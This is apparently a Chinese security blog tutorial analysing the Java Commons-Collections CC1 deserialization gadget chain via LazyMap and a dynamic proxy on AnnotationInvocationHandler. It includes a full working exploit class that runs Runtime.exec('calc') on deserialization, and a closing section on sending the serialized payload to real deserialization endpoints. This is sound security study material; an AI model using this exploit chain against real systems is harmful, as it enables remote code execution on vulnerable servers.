CC1-LazyMap利用链-源码分析

本篇文章是基于CC1利用链的,本质其实都是一样,无非就是使用了LazyMap类的get方法来触发利用链,在看本篇文章之前,需要先弄明白CC1第一条链的原理,弄明白了第一条链,这条链相当于理解了百分之90。如果不明白CC1的第一条链,可以先阅读我的这篇文章:
https://blog.csdn.net/weixin_46367450/article/details/132274219

文章目录

      • 漏洞影响范围
      • 环境准备
      • 源码分析
        • 前情回顾
        • 寻找get()
      • LazyMap链的思路总结
      • EXP编写
      • 实战利用思路

漏洞影响范围

JDk <= jdk8u65

commons-collections <= 3.2.1

环境准备

本教程环境:jdk1.7.0_75,commons-collections 版本为 3.2.1,maven(不做版本要求),开发工具IDEA(不做版本要求)

因为CC1链中需要用到 sun包下的AnnotationInvocationHandler类,然而官网下载的jdk7版本sun包下的源码为class文件,需要准备源码包,我已经提前下载好了源码包,并且放在了jdk1.7.0_75中,可以从这里下载然后按照下图所示配置直接使用:

链接:https://pan.baidu.com/s/1wQjonrox8m6YroB8G24UYA?pwd=2mnm

打开Project Structure可以进入以下界面

CC1-LazyMap利用链-源码分析_第1张图片

源码分析

前情回顾

在我的上一篇文章中CC1利用链EXP编写之源码分析,我带大家找到了这里CC1利用链的核心类InvokerTransformer,这个类里面实现了

Transformer接口,InvokerTransformer对象的transformer()可以实现对任意对象的任意方法进行反射调用,所以我们就需要往上找到谁调用了transformer方法,在上篇文章中找到的是TransformedMap类中有方法调用了transform(),本篇文章将通过LazyMap来利用,如图:

CC1-LazyMap利用链-源码分析_第2张图片

寻找get()

在LazyMap的get()方法中调用了transformer()方法:

CC1-LazyMap利用链-源码分析_第3张图片

所以我们可以继续往上查找,看看谁调用了get()方法:

CC1-LazyMap利用链-源码分析_第4张图片

经过查找,发现调用get()的地方太多了,于是查看网上的资料,发现依旧在AnnotationInvocationHandler类中存在:

CC1-LazyMap利用链-源码分析_第5张图片

在这个AnnotationInvocationHandler类中,我们发现有个invoke()方法,里面正好调用了get()方法,看到invoke()方法,我们可以想到动态代理,动态代理中的invoke()方法是容易导致漏洞利用的,因为一个代理对象不论调用哪个方法,都会默认调用InvocationHandlerd的invoke()方法,既然有默认调用,就容易导致漏洞利用,和反序列化中的默认调用readObject()方法有异曲同工之妙。

所以我们需要想办法调用其中的方法,我们再分析一下这个invoke()方法,想要走到get()方法,还是有条件的,条件就是调用的方法是无参的。

CC1-LazyMap利用链-源码分析_第6张图片

在readObject()方法中,正好调用的就是get()无参方法,而且memberValues是可以控制的,所以如果这个对象是Map类型的,Map类型又交给了一个动态代理,那么当动态代理调用get()方法之后,就会直接调用到InvocationHandler对象的invoke方法。如图:

CC1-LazyMap利用链-源码分析_第7张图片

因此最终反序列化的时候可以触发get()方法,接下来我们要做的就是构造动态代理,将AnnotationInvocationHandler作为InvocationHandler处理器:

 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        //传入构造好的lazyMap
        InvocationHandler h = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
        //构造动态代理
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class}, h);
//将mapProxy传给构造方法进行实例化
        Object o = constructor.newInstance(Retention.class, mapProxy);

然后将构造的动态代理作为参数利用反射使用AnnotationInvocationHandler的构造器创建实例,然后将返回结果序列化即可。

LazyMap链的思路总结

这个链其实和我上一篇文章的CC1链大致思路是一样的,主要特殊就在于利用了动态代理中自动调用InvocationHandler对象的invoke方法,从而调用到我们可以利用的get()方法。因此当我们发现InvocationHandler对象中的invoke()方法中具有我们可以利用的方法,比如上面讲到的get()方法,我们就可以做一个动态代理,将这个InvocationHandler作为动态代理的处理程序,当动态代理执行要代理对象的方法的时候,就会自动调用invoke()方法,那么动态代理要代理的对象是什么类型呢,由于readObject()中具有memberValues.entrySet(),并且memberValues是可控的,由于entrySet()方法是Map接口的方法,所以如果memberValues对象是Map类型的,那就可以调用,如果memberValues对象是动态代理对象,那么就可以调用invoke方法了。

因此我们需要先构造一个InvocationHandler对象,然而AnnotationInvocationHandler对象正好实现了InvocationHandler,所以通过反射创建AnnotationInvocationHandler的实例即可,创建实例的时候第二个参数就传入LazyMap,然后将其放入动态代理中,并且动态代理要代理的接口设置为Map,如下代码:

 //传入构造好的lazyMap
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
        //构造动态代理
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);

将创建好的动态代理对象传给AnnotationInvocationHandler对象,当AnnotationInvocationHandler对象进行反序列化的时候,就会调用到动态代理对象的entrySet()方法,进而调用动态代理中的InvocationHandler对象的invoker()方法,从而完成利用

EXP编写

/**
 * @program: Java-反序列化
 * @description:
 * @author: yuan_boss
 * @create: 2023-08-14 17:33
 **/
public class CC1LazyMapEXP2{
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map map = new HashMap();
        map.put("value","value");
        Map lazyMap = LazyMap.decorate(map, chainedTransformer);

        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        //传入构造好的lazyMap
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
        //构造动态代理
        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
        //将mapProxy传给构造方法进行实例化
        Object o = constructor.newInstance(Retention.class, mapProxy);
        ByteArrayOutputStream barr = serialize(o);
        UnSerialize(barr);
    }
    public static ByteArrayOutputStream serialize(Object o) throws Exception{
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(o);
        System.out.println(barr);
        return barr;
    }
    public static void UnSerialize(ByteArrayOutputStream barr) throws Exception{
        ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = oos.readObject();
        System.out.println(o);
    }
}

实战利用思路

找到需要反序列化的功能点,将我们序列化后的payload发送到功能点进行反序列化,然后就能形成CC1利用链,从而完成恶意代码执行。

你可能感兴趣的:(Java序列化与反序列化,网络安全,LazyMap,利用链,动态代理)